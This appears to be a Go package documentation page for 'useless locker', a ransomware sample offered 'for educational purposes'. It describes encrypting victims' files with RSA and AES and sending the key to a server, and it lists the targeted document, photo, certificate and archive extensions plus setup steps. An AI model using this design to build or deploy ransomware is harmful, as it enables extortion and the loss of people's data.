useless

package module
v0.0.0-...-544e413 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Feb 2, 2016 License: BSD-2-Clause Imports: 3 Imported by: 0

README

| |  | |           | |                 | |                 | |
| |  | | ___   ___ | |  ___  ___  ___  | |      ___    ___ | | __ ___  _ __
| |  | |/ __| / _ \| | / _ \/ __|/ __| | |     / _ \  / __|| |/ // _ \| '__|
| |__| |\__ \|  __/| ||  __/\__ \\__ \ | |____| (_) || (__ |   <|  __/| |
 \____/ |___/ \___||_| \___||___/|___/ |______|\___/  \___||_|\_\\___||_|

Randomware-like sample that can be easily modified and used. For educational purposes.

Features

  • Highly portable. Should run on Windows/Linux/BSD.
  • Opens a webpage to notify the user.
  • Sends encryption key to a server.
  • Store any necessary files in a zip archive appended to the executable.
  • Uses RSA + AES128/256 CBC PKCS7.
  • Works offline.

Usage

This software lacks several components that require a significant amount of work to implement. This is left upto the reader to do.

  • Remove the safety pin.
  • Compile the software.
  • Create a webserver capable of processing requests from useless locker.
  • Generate a private/public key pair using openssl or similar.
  • Create zip archive of all the files in the required hierarchy.
  • Append zip archive onto executable.

Appending the zip archive

Follow the instructions in the store README.

This is a fun peice of software that I enjoyed writing. I learned a few things while writing this and I hope that others can too. Please do not use this for ransomware or otherwise malicious purposes. This is only meant to be used for educational purposes.

Documentation

Overview

Package useless contains all the nessessary code for useless locker.

Index

Constants

This section is empty.

Variables

View Source
var FileExtensions = map[string]bool{

	".accdb": true,
	".ai":    true,
	".cdr":   true,
	".dbf":   true,
	".doc":   true,
	".docm":  true,
	".docx":  true,
	".dwg":   true,
	".dxf":   true,
	".dxg":   true,
	".eps":   true,
	".indd":  true,
	".mdb":   true,
	".mdf":   true,
	".odb":   true,
	".odc":   true,
	".odm":   true,
	".odp":   true,
	".ods":   true,
	".odt":   true,
	".pdd":   true,
	".pdf":   true,
	".ppt":   true,
	".pptm":  true,
	".pptx":  true,
	".psd":   true,
	".pst":   true,
	".rtf":   true,
	".wdb2":  true,
	".wpd":   true,
	".wps":   true,
	".xlk":   true,
	".xls":   true,
	".xlsb":  true,
	".xlsm":  true,
	".xlsx":  true,

	".3fr": true,
	".arw": true,
	".cr2": true,
	".crw": true,
	".dcr": true,
	".dng": true,
	".gif": true,
	".jpg": true,
	".kdc": true,
	".mrw": true,
	".nef": true,
	".nrw": true,
	".orf": true,
	".pef": true,
	".png": true,
	".ptx": true,
	".r3d": true,
	".raf": true,
	".raw": true,
	".rw2": true,
	".rwl": true,
	".sr2": true,
	".srf": true,
	".x3f": true,

	".cer": true,
	".crt": true,
	".der": true,
	".p12": true,
	".p7b": true,
	".p7c": true,
	".pem": true,
	".pfx": true,

	".7z":     true,
	".gzip":   true,
	".tar":    true,
	".tar.gz": true,
	".tgz":    true,
}

FileExtensions is a map of all allowed file extensions. Any file with an extension in this map will be encrypted.

Functions

func GetFileList

func GetFileList(dirname string, size int64) (files []string, err error)

GetFileList compiles a list of files that match any of the extensions in the FileExtensions map and are less than or equal to the specified file size.

func ReadFileList

func ReadFileList(filename string) (files []string, err error)

ReadFileList reads a list of files contained in a file within the users home directory.

func WriteFileList

func WriteFileList(filename string, files []string) (err error)

WriteFileList writes a list of files to the specified directory.

Types

This section is empty.

Directories

Path Synopsis
+build linux dragonfly freebsd netbsd openbsd
+build linux dragonfly freebsd netbsd openbsd
cmd
pkcs7
Package pkcs7 implements PKCS#7 padding, described at http://tools.ietf.org/html/rfc5652#section-6.3.
Package pkcs7 implements PKCS#7 padding, described at http://tools.ietf.org/html/rfc5652#section-6.3.
Package home contains useful functions for sending and receiving session keys.
Package home contains useful functions for sending and receiving session keys.
db
verbs
Package verbs provides a simple method to filter request method with the net/http ServeMux.
Package verbs provides a simple method to filter request method with the net/http ServeMux.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL